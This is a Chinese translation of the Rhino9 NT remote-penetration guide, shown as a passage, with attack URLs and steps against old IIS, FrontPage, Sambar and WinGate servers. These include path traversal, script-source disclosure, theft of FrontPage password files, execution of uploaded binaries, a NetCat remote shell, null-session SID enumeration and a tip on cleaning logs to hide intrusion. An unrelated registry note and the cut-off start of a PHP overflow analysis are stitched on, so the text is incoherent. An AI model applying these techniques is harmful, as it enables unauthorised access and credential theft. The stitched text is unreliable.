“批处理文件”。在Netscape服务器中，只能执行单一命令。
2） 在/scripts目录下没有abracadabra.bat文件，但.bat扩展名被映射到
C:\WINNT35\System32\cmd.exe。在Netscape服务器中，实际的.bat文件必须存在。
3） 在黑客输入象"time"或"date"这样的命令作为COMMAND[N]时，IIS Web服务器不
会记录任何信息。在Netscape服务器上，错误记录会有一个关于远程IP和您试着执行的命
令的记录。

如果您不能正确地掌握这种情况下所发生的一切，入侵者就会采用以上攻击顺序在服
务器端生成文件并予以执行。根据攻击者的技术水平和意图，其行为会产生不同的效果。
幸运的是，大多数工作环境已经不再运行旧得足以受这些缺陷影响的Internet信息服务器
版本。

在对bat/cmd缺陷进行彻底调查和证明之后不久，另一个bug又震惊了业界。同样幸运
的是，这个缺陷也仅仅对旧版本的IIS造成影响。这个被称为”double dot bug”的缺陷
使Web站点的访问者能够从允许访问的web根目录下逃脱并浏览或下载文件。很显然，最终
服务器会包含不在指定Web根目录下的敏感信息，而这个简单的缺陷会为外来者访问这些
敏感信息提供机会。这个命令是作为URL执行的，其结构如下：

http://www.someserver.com/ /..\..

当double dot bug不够用时，不久之后就出现了这个缺陷的另一个变体。这个新发现
的缺陷使入侵者能够执行目标机上的脚本文件。由于这个新缺陷是double dot bug的一个
变体，因此，这些脚本文件都不在web根目录下。这种攻击也是作为URL执行的，其结构如
下：

http://www.someserver.com/scriptname

Internet信息服务器的WindowsNT安装需要一些用于公共访问身份认证的帐户。如果
这些帐户没有以任何方式出现，那么，每一个访问站点的访问者都要提供身份信息。这并
不是一个提供公用Web站点的非常有效的方法。在Internet信息服务器上，要使用的帐户
是IUSR_account。这个帐户及其口令都是在安装过程中生成的。根据默认值，该帐户是
Everyone群组的一个成员，而且，Everyone群组对NT驱动器上的所有信息具有只读访问权
限。这些方法与上述的缺陷相结合就会造成巨大的安全性破坏。

有段时间以来， URL相关的新攻击类型每周都会出现。在上述脚本缺陷之后出现的是
另一个脚本相关的bug，它使入侵者能够在目标机上生成一个文件，随后再执行该文件。
其URL结构是：

http://www.someserver.com/scripts/script_name>PATH/target.bat

当这个缺陷首次出现时，业界有很多人都不大重视这个问题。接着，就有消息发布，
证明了入侵者为获得修复SAM拷贝会采取的具体步骤。其中就包括了上面的URL缺陷，它是
整个攻击的组成部分。

当Microsoft发布Internet信息服务器3.0时，活动的服务器页面(active server
page)技术开始走向世界。而同时，这一发布也为影响IIS和NT4的大量新缺陷的出现打开
了大门。

活动的服务器页面为Microsoft界提供了简单的和动态的Web页面。人们可以通过很多
不同的方法来使用，如数据库连接、标引与搜索文档、身份认证以及用于那些讨厌的广告
标题的简单图形旋转等。

活动的服务器页面这一概念实际上是相当有创造力的。HTML代码包括有在服务器端执
行并为最终用户生成动态内容的嵌入式脚本代码。有了这个被广泛使用的新技术，向公众
发布第一个缺陷也就指日可待了。这个被成�"dot flaw"的第一个缺陷使入侵者能够在服
务器不执行脚本的情况下查看到脚本。

其标准的URL结构是：

http://www.genericserverhere.com/default.asp

其攻击URL结构是：

http://www.genericserverhere.com/default.asp .

这一攻击会在攻击者的Web浏览器上显示未执行代码。不用说，脚本代码会包含敏感
信息，如远程连接到数据库上的用户名/口令。在所有信息中，这一类信息是用户不希望
入侵者接触到的信息。

当dot flaw的修复方法发布时，也发布了对付修复方法的缺陷的变体。第一个变体是
%2e。%2e是period的十六进制值，因此，这表明所提供的修复方法还不够健壮。这种缺陷
的各种变体有时还在出现。由于所有变体都产生相同的最终结果，所以这里就不一一赘述
了。下面是一些攻击URL结构：

http://www.someserver.com/default.asp

http://www.someserver.com/default.Asp

http://www.someserver.com/default.asp::$DATA

http://www.someserver.com/shtml.dll?.asp

安全界的每一个人都有这样的感觉：近期内，这些方法不会是最后的脚本显示方法。
随着这些脚本的应用越来越广泛，它们将包含越来越多的敏感信息。这些简单的方法可导
致入侵者轻而易举地获得敏感信息。

就通过IIS收集信息而言，最常见和容易的攻击之一就是索引服务器(Index Server)
攻击。索引服务器是一个包括在internet信息服务器(IIS)3.0中的小搜索引擎模块。这个
模块使Web管理员能够向访问其站点的访问者提供搜索Web站点内容的可搜索界面。虽然索
引服务器本身并没有什么问题，但如果Web站点管理员缺乏培训就会出现问题。索引服务
器的安装和维护都很简单，不过，它对目录和作用域的使用会导致管理员不能正确地配置
允许权限和可搜索内容。这一配置问题会使入侵者获得在一般情况下他需要花大量的时间
和精力才能得到的对信息的访问权限。

这种攻击的默认URL结构是：

http://www.someserver.com/samples/search/queryhit.htm

这个路径反应出了进入样本页面的默认路径。如果这个路径不是一个有效路径，入侵
者就会仍然点击具有帮助作用的标题“Search This Site”链接，访问相同的信息。一旦
入侵者成功地访问到该html文档，就会出现一个包含有表格字段的Web页面。在这个表格
字段中，访问者一般都会输入他想搜索的信息。入侵者会采用一个文件名搜索字符串，
如：

#filename=*.txt

这个字符串会指示索引服务器通过索引的数据目录搜索任何以该文件扩展名结尾的文
件。请记住，这个文件扩展名并不局限于索引服务器能理解的扩展名。如果索引服务器遇
到一个它不知道的文件类型，它就会把这个文件类型当作二进制来处理，并对文件名、扩
展名、日期及其它属性编写索引。这表明入侵者可搜索任何信息，包括能搜索到修复sam
的*._。有趣的是，索引服务器与其它internet搜索引擎不同，它不会显示请求者没有访
问权限的文件。也就是说，如果索引服务器返回一个它找到文件的信息，那么该文件就是
可访问的。

入侵者会试着利用的另一个默认功能是Internet信息服务器Web管理界面。在IIS默认
的安装中，Web管理界面内置在Web根目录的”iisadmin”子目录下，这说明它的URL攻击
结构是：

http://www.someserver.com/iisadmin

如果管理员在这个界面上已经错误地配置了允许权限，那么，入侵者就会通过管理功
能获得对Web服务器的未授权访问。如果访问成功，就会出现一个管理工具的html界面。
根据IIS和NT处理允许权限的方法，入侵者有可能得到访问界面的权限，但没有真正采取
任何行动的允许权限。因此，如果您正在检查您自己的网络，一定要作一些小的更改，以
确定网络是不是有问题。

在97年底和98年初曾经发生过大量的Web服务器攻击。在这些攻击中，大部分攻击都
具有一个共同点：web服务器正在运行Microsoft Frontpage Extensions。Frontpage
Extensions是很小的"web bots"，如果您愿意，即可让作者或web站点管理员执行复杂或
相关的任务。

Frontpage Extensions存在的问题是，默认的Frontpage安装不安全，尤其是在UNIX
版本中。大量支持这些扩展名的服务器都没有设口令，或者把管理权限分配给Everyone群
组。这里的Everyone群组还是表示每个人，包括匿名连接。

下面，我们来看一看第一个采用Frontpage客户机软件进行的攻击。

支持Frontpage的服务器会有若干个以字母”_vti”开头的工作目录。在任何常用的
搜索引擎上搜索默认的Frontpage目录会得到大量从引擎上返回的信息。然后，入侵者就
能对这些服务器进行简单而又反复的攻击。这种攻击的执行过程如下：

1- 打开您自己的Frontpage个人拷贝
2- 进入”Open frontpage web”对话框
3- 输入您要攻击的服务器的URL或IP

如果服务器没有设口令，或者，如果允许权限是分配给Everyone群组的，Frontpage
就会为您打开远程站点并允许您能够进行更改。这种攻击实际上是很简单的。如果扩展名
正确，就会出现用户名/口令对话。入侵者可以尝试一些基本的组合如管理员/口令。如果
入侵者有兴趣，他会一直尝试下去。

另外，入侵者还可以用同样的"open frantpage web"方法来得到完整的用户列表。这
种方法可以用在brute force攻击中。鉴于对通过这种方法终止用户名的收集进行解释的
文件资料已经公开发布，您就应该建立一个象FP_www.yourdomain.com:80这样的限制群
组。这个新的限制群组确实起作用，除非入侵者采用的是您的服务器的IP地址，而不是域
名。

还有其它一些方法能够与Frontpage一起使用，它们会抓取Frontpage口令文件。
Frontpage一般把口令存储在_vti_pvt目录下，有相同的service.pwd。入侵者会试着执行
下列URL：

http://www.someserver.com/_vti_pvt

如果允许权限设置不正确并允许目录浏览，入侵者就会得到该目录下的文件，包括
service.pwd。管理员通常会重视安装和站点的安全性并限制对该目录的访问。尽管这个
方法不错，但始终要防止NTFS对网络造成破坏。根据NTFS的配置，用户仍然可以得到口令
文件的访问权限，即使对其父文件夹的访问已经被拒绝。在这种情况下，入侵者只需在
URL中输入访问该文件的完整路径，如：

http://www.someserver.com/_vti_pvt/service.pwd

尽管Frontpage口令文件是加密文件，但它是用标准DES加密的，因此，任何DES解密
高手都能在正确诊断该文件后获得口令信息。另外，入侵者也会刺探其它_vti目录，因为
这些目录有时也会保存敏感信息。在掌握了用户名并对口令解密后，入侵者就会用他的
Frontpage重新连接并提供身份证明信息；或者，如果相同的用户名/口令在上下文中能起
作用，入侵者即可通过其它方式利用这些身份证明信息，如映射网络驱动器等。

（注：Service.pwd不是唯一已知的口令文件名。已经掌握的口令文件有Authors.pwd
, admin.pwd, users.pwd和administrators.pwd等。）

在Frontpage相关的方法中，二进制FTP方法被看作是技术上最成熟的方法，虽然这种
方法实现起来相当容易。这个二进制攻击会使入侵者通过Frontpage扩展名执行任意二进
制文件。入侵者必须找到既支持Frontpage又支持FTP匿名可写程序的服务器。在通过FTP
连接到服务器之后，入侵者就可以新建一个名为_vti_bin的目录。然后他就可以下载他想
放在新建目录下的任何可执行程序。一旦上载了可执行文件，入侵者就会输入下列URL：

http://www.someserver.com/_vti_bin/uploaded_file

然后，服务器就会执行这个文件。

在二进制进攻方法被传播开来不久之后就发现了_vti_cnf。这会使入侵者查看到特定
目录下的所有文件。通过用_vti_cnf替换index.html，入侵者就能看到该目录下的所有文
件，并有可能获得访问权限。这种攻击结构如下：

标准结构—http://www.someserver.com/some_directory_structure/index.html

攻击结构—http://www.someserver.com/some_directory_structure/_vti_cnf

看起来，能产生类似结果的相同攻击类型数不胜数。遗憾的是，事实确实如此。在这
些缺陷中，有很多已经被研究缺陷变体的人士所发现，但并不是所有影响NT Web服务的缺
陷都来自Internet信息服务器。

另外还有其它一些将在NT上运行的Web服务器软件包，象众所周知的Apache Web服务
器。当然，有了这些第三方Web服务器软件包和在这些第三方软件包上运行的脚本，新的
缺陷注定会暴露出来。

Webcom Datakommunikation曾经发布了一个允许Web站点的访问者在来宾卡上签名的
cgi脚本。Cgi脚本的名字是guest.exe。只要发出正确的命令，这个小小的cgi脚本就会使
攻击者查看到您服务器上的任意文本文件。

访问者要签名的表格页面包含了很多隐藏字段。其中一个隐藏输入字段如下（根据
David Litchfield的报告）：

input type="hidden" name="template"
value="c:\inetpub\wwwroot\gb\template.htm">

or

input type=”hidden” name=”template” value=”/gb/template.htm”>

这里的template.htm是在用户输入信息后通过wguest.exe显示出来的文件。为了利用
这一点，攻击者会查看源代码并把该文档保存在他的桌面上，然后通过改变他想查看的任
意文件的路径对这一行进行编辑，例如：

input type="hidden" name="template"
value="c:\winnt\system32\$winnt$.inf">

[如果完成了独立安装，即可通过这个文件得到管理口令]

然后，点击”Submit”，wguest.exe就会显示这个文件。这种方法没有用PWL文件测
试过。不过，攻击者必须知道他要查看的文件的正确路径。

另一个“类属的”HTTPD方法涉及到一个在WindowsNT上运行的第三方Web服务器产
品，称为Sambar服务器。下面是直接从招贴中引用的内容：

查看攻击对象的HDD是大有可能的。您可通过使用这些关键字

+sambar +server +v4.1

搜索Internet，找到运行Sambar服务器的计算机。

如果您找到的站点是：http://www.site.net/，就做一次测试，运行一个perl脚本：

http://www.site.net/cgi-bin/dumpenv.pl

现在您看到的是攻击对象的计算机的完整环境，包括他的路径。您可以试着通过以下
URL以管理员的身份登录：

http://www.site.net/session/adminlogin?Rcpage=/sysadmin/index.html

默认登录为：admin；默认口令为空白。如果攻击对象还没有更改他的设置，您现在
就能控制他的服务器。另一个特征是查看攻击对象的HDD。如果您能运行perl脚本，也就
应该能（在大多数情况下）通过他的路径查看目录的脚本。大多数人在路径行中都有
C:/program files和C:/windows，因此，您可以利用以下URL：

http://www.site.net/c:/program files/sambar41

我们在这里简单提一下Netscape Enterprise Server。有些软件版本通过允许用户访
问目录对?PageServices参数作出反应。http://www.site.net/?PageServices就是实现方
法。

最后，我们再来看看FTP。FTP是一个比较安全的协议。很多人会认为平台和版本冗余
使它更安全，总的来说，这种看法是正确的。但多数经验丰富的安全专业人士会告诉您，
如果最终管理员没有受过专业培训，版本和平台实在没有多大意义。鉴于Rhino9按照FTP
允许权限已经能够渗透大量的服务器，我们就在这里给一个简单的提示。有些管理员不会
注意或理解他们的Web服务器上的”Anonymous world writable”。但Rhino9通过一个错
误配置的FTP服务器提出了疑问并渗透到整个网络。

通过anon-ftp-writable把NetCat上载到服务器上、通过URL执行这个程序以及把它绑
定到端口上都很容易实现。从那一刻起，您在NT上就有了一个远程“外壳”。通过连接到
该远程NetCat绑定，所有从该外壳发出的命令行功能似乎都是从具有在内部用户上下文中
运行的NetCat绑定的那个外壳发出的。

其它的信息收集与渗透方法
==============================================================================

（如同那些包括很多不同主题的安全相关文档一样，有些主题似乎有点不合时宜。这
一节将探讨一些确实不适合本文的不同方法。如有内容不完整之处，敬请原谅。）

如果说Rhino9小组有一个投入大量时间来研究的产品，那就是WinGate。第一个有关
WinGate的问题是通过具有所有后续连接的WinGate进行“弹跳”的功能。这个小缺陷非常
容易使用。入侵者可以远程登录到WinGate端口并看到这样的提示符：

WinGate>

在该提示符下，您能发出一个独立的远程登录命令，或者利用WinGate的SOCK功能建
立其它连接。当该软件产品的开发商急于发布其修复版本和公告栏时，下一个版本的发布
也出现了问题。

在WinGate的默认安装中，WinGate机器是用记录服务配置的。记录服务监听WinGate
机器的8010端口。通过建立该端口的HTTP连接，入侵者就会得到两个信息：

“Connection Cannot Be Established”

或WinGate机器硬驱的列表。请记住，这是一个默认安装，可以通过更改默认安装配
置来修复。

随着Exchange服务器成为越来越通用的邮件服务器包，其缺陷也开始出现。第一个暴
露出来的缺陷是Exchange结构中的口令高速缓存问题。下面是直接从原版招贴中引用的内
容：

用提供有POP3服务的Exchange 5.0在您的NT域上新建一个用户xyz。把xyz的口令设置
为a1234。到目前为止一切都正常。现在把xyz的口令更改为b5678。您就会发现无论使用
这两个口令中的哪一个，POP3邮件客户机都能登录。现在再把口令改为另一个值，您会发
现POP3客户机（或直接远程登录到110端口）能够用这三个口令中的任何一个登录。结果
是这些口令都起作用。由于Exchange 5.0服务POP3连接符采用非散列机制对口令进行高速
缓存，因此，所有的口令都能起作用。这一特征既不影响用来接收那些采用不同身份认证
的邮件的Web页面新界面，也不影响NT登录。在非POP3登录信息中，口令不是高速缓存的
（除了NNTP和LDAP以外）。如您所看到的，高速缓存问题在特定环境中是一个非常严重的
问题。

入侵者用来收集信息的另一个方法是基于目标邮件服务器的SMTP端口的。为了保证适
应SMTP并能与internet上的其它邮件实体完全交互，基于NT的SMTP邮件服务器要掌握验证
特征。通过建立与邮件服务器SMTP端口的远程登录会话，入侵者能够发出连同用户名一起
的验证命令。如果验证特征被激活，服务器就能告诉入侵者它是否是有效的用户名。攻击
命令是：

vrfy administrator （该命令会验证用户指定的管理员是否存在）

在一些邮件系统上，首先要求入侵者完成HELO排序，不过这一步非常简单。显而易
见，这会导致入侵者收集到有效用户名列表，然后用于其它攻击。

结束语
==============================================================================

本文的作者希望您通过阅读本文能够做到学有所用。另外，我们也想提醒读者的是，
我们希望本文始终能跟上目前业界的发展情况。我们计划在不久的将来发布本文的更新版
本，从而及时提供管理员和安全专业人士都能利用的最新信息。请将您的信息收集与远程
渗透方法寄至neonsurge@hotmail.com。一旦发布本文的新版本，我们会在NTBugTraq等列
表上发出通知。本文的主页在Rhino9 Web站点上（http://rhino9.ml.org）。

本文的作者在近期内有另外三个文档准备发布。这三个文档都属于NT WarDoc系列，
分别是即将完成的服务拒绝、本地渗透方法以及一篇论述用来警惕其它论文主题的方法的
论文。我们衷心地希望能及时得到业界的反馈信息。

附录A：NET命令
==============================================================================

下面是所有Net命令及其功能：

Net Accounts：显示口令、登录限制和域信息的当前设置。另外，它还包含有更新用户帐
户数据库和修改口令、登录要求的选项。

Net Computer：通过域数据库增加或删除计算机。

Net Config Server or Net Config Workstation：显示有关服务器服务的配置信息。在
没有指定服务器或工作站的情况下使用时，这个命令显示可配置服务的列表。

Net Continue：恢复被NET PAUSE命令暂停的NT服务。

Net File：列出服务器上公开的文件，并为关闭共享文件和清除文件锁定提供选项。

Net Group：显示有关群组名字的信息，并提供您能用来增加或修改服务器上的全局群组
的选项。

Net Help：这些命令的帮助信息。

Net Helpmsg message#：获得有关特定NET错误或功能消息的帮助信息。

Net Localgroup：列出服务器上的本地群组。您也可以修改这些群组。

Net Name：显示接收消息的计算机和用户的名字。

Net Pause：中断特定的NT服务。

Net Print：显示打印作业和共享队列。

Net Send：把消息发送给网络上的其它用户、计算机或消息处理名字。

Net Session：显示有关当前会话的信息。它还可以切断特定会话。

Net Share：列出计算机上所有正被共享的资源的信息。它还可用来创建网络共享。

Net Statistics Server or Workstation：显示统计记录。

Net Stop：停止NT服务，取消该服务正在使用的任何连接。大家都知道，停止一个服务即
可停止其它服务。

Net Time：用来显示或设置计算机或域的时间。

Net Use：显示已连接计算机的列表，并提供共享资源的连接和切断选项。

Net User：显示计算机的用户帐户列表，并提供创建和修改这些帐户的选项。

Net View：显示计算机上正被共享的资源的列表。包括NetWare服务器。

**有关DOS和旧版本Windows机器的注解：以上列出的命令适用于Windows NT服务器和工作
站。DOS和旧版本的Windows客户机可使用下列NET命令：

Net Config

Net Diag（运行诊断程序）

Net Help

Net Init（加载协议和网络适配器驱动程序）

Net Logoff

Net Logon

Net Password（更改口令）

Net Print

Net Start

Net Stop

Net Time

Net Use

Net Ver（显示网络转向器的类型和版本）

Net View

附录B SID工具的使用实例
==============================================================================

下面是SID工具的使用实例，是直接从有关该工具的公告兰上引用的：

这个缺陷与实用程序User2id和Sid2User一起使用。这些实用程序利用的是
LookupAccountName和LookupAccountSid WIN32功能。这些功能必须由具有Everyone访问
权限的用户来执行，实现起来并不困难。
其实现过程如下：

1） 查找任意域帐户的一个SID，例如域用户

user2sid "domain users"
S-1-5-21-201642981-56263093-24269216-513

现在我们知道了当前域的所有次权限。域帐户仅与SID的最后一个数字不同，被称为
RID。

2） 查找内置管理员名字（RID始终是500）

sid2user 5 21 201642981 56263093 24269216 500

Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser

现在有可能从第一个域帐户开始查找所有的域帐户（RID = 1000表示第一个帐户，
1001表示第二个，以此类推。RIDs永远不会再用于当前的安装）。

sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
…

请记住：匿名帐户也是Everyone群组的组成部分。有时也会发生这样的情况，即匿名
帐户没有经过注册/注销特征的检查。

下面这个例子是在假设NetBIOS端口开放的情况下进行的（这个列表是虚构的）：

nslookup http://www.xyz.com/

Non-authoritative answer:
Name: http://www.xyz.com/
Address: 131.107.2.200

net use \\131.107.2.200\ipc$ "" /user:""

The command completed successfully.

user2sid \\131.107.2.200 "domain users"

S-1-5-21-201642981-56263093-24269216-513

Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup

sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 500

Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1000

Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount

sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1001

Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser

sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1112

LookupSidName failed - no such account

Default NT Install SID's are:

DOMAINNAME\ADMINISTRATOR
S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)

DOMAINNAME\GUEST
S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)

Built-In Global Groups

DOMAINNAME\DOMAIN ADMINS
S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)

DOMAINNAME\DOMAIN USERS
S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)

DOMAINNAME\DOMAIN GUESTS
S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)

Built-In Local Group

BUILTIN\ADMINISTRATORS S-1-5-32-544 (=0x220)
BUILTIN\USERS S-1-5-32-545 (=0x221)
BUILTIN\GUESTS S-1-5-32-546 (=0x222)
BUILTIN\ACCOUNT OPERATORS S-1-5-32-548 (=0x224)
BUILTIN\SERVER OPERATORS S-1-5-32-549 (=0x225)
BUILTIN\PRINT OPERATORS S-1-5-32-550 (=0x226)
BUILTIN\BACKUP OPERATORS S-1-5-32-551 (=0x227)
BUILTIN\REPLICATOR S-1-5-32-552 (=0x228)

Specail Groups

\CREATOR OWNER S-1-3-0
\EVERYONE S-1-1-0
NT AUTHORITY\NETWORK S-1-5-2
NT AUTHORITY\INTERACTIVE S-1-5-4
NT AUTHORITY\SYSTEM S-1-5-18

附录C：默认IIS结构的关系位置
==============================================================================

C:\InetPub\wwwroot
C:\InetPub\scripts /Scripts
C:\InetPub\wwwroot\_vti_bin /_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut
C:\InetPub\cgi-bin /cgi-bin
C:\InetPub\wwwroot\srchadm /srchadm
C:\WINNT\System32\inetserv\iisadmin /iisadmin
C:\InetPub\wwwroot\_vti_pvt /_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM Internet Information Index
Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin

Frontpage特有的文件及其功能：

/_vti_inf.html Ensures that frontpage server extensions are installed.
/_vti_pvt/service.pwd Contains the encrypted password files. Not used on IIS
and WebSite servers.
/_vti_pvt/authors.pwd On Netscape servers only. Encrypted. Names and passwords
of authors.
/_vti_pvt/administrators.pwd
/_vti_log/author.log If author.log is there it will need to be cleaned to
cover an intruders tracks.

附录D：服务
==============================================================================

我已经收到过无数有关NT服务的邮件。人们都在问，他们该做些什么，哪些服务应该
去激活，等等。下面是NT服务的列表，包括每个服务的说明和安装建议。——NeonSurge

ALERTER（告警器）：依赖于NetBIOS，通过TCP/IP进行网络通信。这个服务使用户能
够接收其它机器发出的消息。这些消息可以是告警信息或预先确定的网络信息。建议去激
活机器上的这个服务，因为它依赖于NetBIOS，而且几乎从来都没用过。

CLIPBOOK SERVER（剪贴本服务器）：依赖于NetBIOS，通过TCP/IP进行网络通信。该
服务器服务允许剪贴板上的内容通过网络共享。由于这个服务很少用，而且远程入侵者可
以通过它获得信息，因此应该去激活。

COMPUTER BROWSER（计算机浏览器）：该服务使用户通过网络邻居的浏览能查看到可
用的网络资源。当在服务器上激活时，服务器就会通过NetBIOS广播注册它的名字或直接
注册到WINS服务器上。建议去激活这个服务。

DHCP CLIENT（DHCP客户机）：如果机器是DHCP客户机，应该把该服务设置为自动激
活；如果不是，去激活。

DIRECTORY REPLICATOR（目录复制器）：该服务使NT系统能够输入和输出目录内容。
如果您不需要内容复制，就去激活该服务。

EVENT LOG（事件记录）：建议始终利用这个服务，因为它负责记录服务器上的活
动，包括安全活动等。

LICENSE LOGGING SERVICE（LICENSE记录服务）：用来跟踪不同应用所使用的
licenses。它不会对网络产生任何严重的影响，应设置为自动激活（这是默认设置）。

MESSENGER SERVICE（MESSENGER服务）：依赖于NetBIOS，通过TCP/IP进行网络通
信。它在设计和功能上类似于报警器服务。建议停止该服务，以防止通过NBTSTAT命令使
用用户名枚举。

NET LOGON（NET登录）：该服务被服务器和工作站用来提供用户身份认证。该服务随
时都需要，它是作为内置SYSTEM用户运行的。

NETWORK DDE and DDE DSDM（网络DDE与DDE DSDM）：这些服务提供动态数据交换。
DDE用于象聊天这样的应用（这很重要）以及可能需要这类功能的其它应用。这些服务因
其TCP连接接受状态而被认为具有一定的风险。

NETWORK MONITOR AGENT（网络监控代理）：该服务用来对通过网络适配卡的通信量
进行监控。如果本软件的SMS版本正被使用，管理员就能远程监控另一个网络适配卡上的
通信量。

NT LM SECURITY SUPPORT PROVIDER（NT LM安全支持提供者）：该服务为旧版本软件
包提供后向兼容性与身份认证帮助。

PLUG AND PLAY（即插即播）：用于配置PnP设备。

REMOTE PROCEDURE CALL LOCATOR AND SERVICES（远程过程调用定位符与服务）：
RPC是一个用来封装通过网络进行的功能调用的协议。它的默认配置是自动的和标准的。
该服务会造成很大的安全风险，但由于对该服务的依赖性很大，以至于不能去激活。

ROUTING AND REMOTE ACCESS SERVICE（路由与远程访问服务）：这是一个增强
Windows NT功能的后加服务。如果您正在用调制解调器从您的NT系统拨出，该服务应设置
为自动激活。如果您正在使用它的选路特征，也应该将它设置为自动激活。

SCHEDULE（调度）：该服务使一个应用程序能够在预先指定的时间被执行。这样会造
成严重的安全威胁，因为该服务可被用来启动SYSTEM上下文中的应用。

SERVER（服务器）：是所有服务器端NetBIOS应用的关键所在。没有这个服务，一些
管理工具如服务器管理器就不能用。如果不需要对机器的远程管理或访问，建议去激活该
服务。但是在Web服务器上不需要这个服务。

SPOOLER（假脱机程序）：该服务用来接受从客户机发出的打印作业请求，并使本地
系统能够把作业假脱机到网络打印机。该服务应设置为自动激活。

TCP/IP NETBIOS HELPER（TCP/IP NETBIOS帮助）：该服务有助于增强NBT和Net登录
服务。因为Net登录服务应该设置为自动激活，所以这个服务也应该设置为自动激活。

TELEPHONY SERVICE（电话服务）：该服务用来管理电话驱动程序和拨号属性。在不
采用任何类型的电话或RAS设备的系统上，应去激活这个服务。

UPS：这个服务用在与不间断电源的串行通信中。

WORKSTATION（工作站）：这个服务是为出站NetBIOS连接提供的。因为它仅用于出站
连接，因此一般没有安全风险，应设置为自动激活。

附录E：URL
==============================================================================

Sid Tools: http://www.technotronic.com/microsoft.html
Eudpass: http://rhino9.ml.org/wardoc
1nf0ze: http://rhino9.ml.org/wardoc
FireFTP: http://rhino9.ml.org/wardoc
Grinder: http://rhino9.ml.org/software
Glide: http://rhino9.ml.org/wardoc
John The Ripper (DES Cracker): http://www.false.com/security/john/index.html
WS_FTPBug: http://rhino9.ml.org/wardoc
L0phtCrack (NT Password Cracker): http://www.l0pht.com/
PWDump: http://rhino9.ml.org/wardoc
NAT: http://www.technotronic.com/microsoft.html

附录F：LMHOSTS文件
==============================================================================

尽管大多数安全专业人士习惯于使用HOSTS文件，但实际上，WindowsNT是用两个文本
文件来解析主机名的。WindowsNT仍然用HOSTS文件，但它也用LMHOSTS文件。

LMHOSTS文件与HOSTS文件很相象，它也是一个用来解析计算机名字（NetBIOS）的展
开顺序文本文件。另外，LMHOSTS文件也允许用户利用关键字，这一特征比HOSTS文件具有
更大的灵活性。

LMHOSTS文件用的关键字是#PRE、#DOM:域、#INCLUDE文件名、#BEGIN_ALTERNATE和
#END_ALTERNATE。如果井格线后面的不是这些关键字，就被视为评语。

#PRE：在LMHOSTS文件中，如果一个表目后面跟的是这个关键字，它就会通知
WindowsNT把该表目预加载到名字高速缓存器中。这样，Windows系统就能更迅速地解析这
个名字。

#DOM：#DOM标签表目使WindowsNT能够把该表目和您所指定的任意域联系在一起
（即：#DOM:accounting）。这有助于NT更有效地解析特定的名字，因为它不必通过咨询
选路表来找出该表目所属的域。

#INCLUDE：该表目通知WindowsNT去哪里寻找内置在其它机器上的其它LMHOSTS文件。
在使用这个功能时，用户应该指定访问其它LMHOSTS文件的UNC路径。#BEGIN_ALTERNATE和
#END_ALTERNATE都与#INCLUDE标签一起使用，并应出现在#INCLUDE标签的前后。

RHIN09安全研究小组——HTTP://RHIN09.ML.ORG


NT的注册表文件存放位置

%system%\system32\config目录下有这样一些文件

sam.* Security Account Manager,安全帐号管理器

default.* 默认注册表文件

security.* 安全性注册文件

system.* 系统注册文件

software.* 应用软件注册表文件

注册表中最重要的文件是那些没有扩展名的文件，也就是当前注册表文件。还有一个名为system.alt文件，这个就是注册表的副本。

%system%\system32\config目录下扩展名为log或sav的文件中包含的是历史信息，

可以通过时间浏览器来查看。比如：.sav文件是在最近一次系统正常引导过程中保

存的，而.log文件则记录了注册表审核功能启用过程中对注册表所进行的修改。

虽然你可以删除.log和.sav文件可以删除，但是我并不希望你珍惜这一点点磁盘空

间。

注意：不要替换注册表文件的某一个或者某几个文件，这样会造成注册表文件的不

同步，极易造成系统的崩溃。


php4.0.0远程溢出源代码分析与测试程序

发信人：inburst（闯入），信区：网络安全精华区
标题：php4.0.0远程溢出源代码分析与测试程序
发信站：安全焦点（2002年2月23日4时53分57秒） 原始链接：http://www.xfocus.net/bbs/view.php?id=20139
php4.0.0远程溢出源代码分析与测试程序

文章来源：袁哥< mailto: yuange@nsfocus.com> 阅读次数：40

--------------------------------------------------------------------------------

php4.0.0才出来的时候，我们测试发现php4isasp.dll有缓冲溢出漏洞，下面是php4isapi.c的相关源代码：

static void sapi_isapi_register_server_variables(zval
    *track_vars_array ELS_DC SLS_DC PLS_DC)
{
char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE];
char *variable_buf;
DWORD variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable;
char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB;
char **p = isapi_server_variables;

lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);

/* Register the standard ISAPI variables */
while (*p) {
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf,
    &variable_len)
&& static_variable_buf[0]) {
php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC);
} else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len)
&& variable_buf[0]) {
php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC);
}
efree(variable_buf);
}
p++;
}

/* PHP_SELF support */
#ifdef WITH_ZEUS
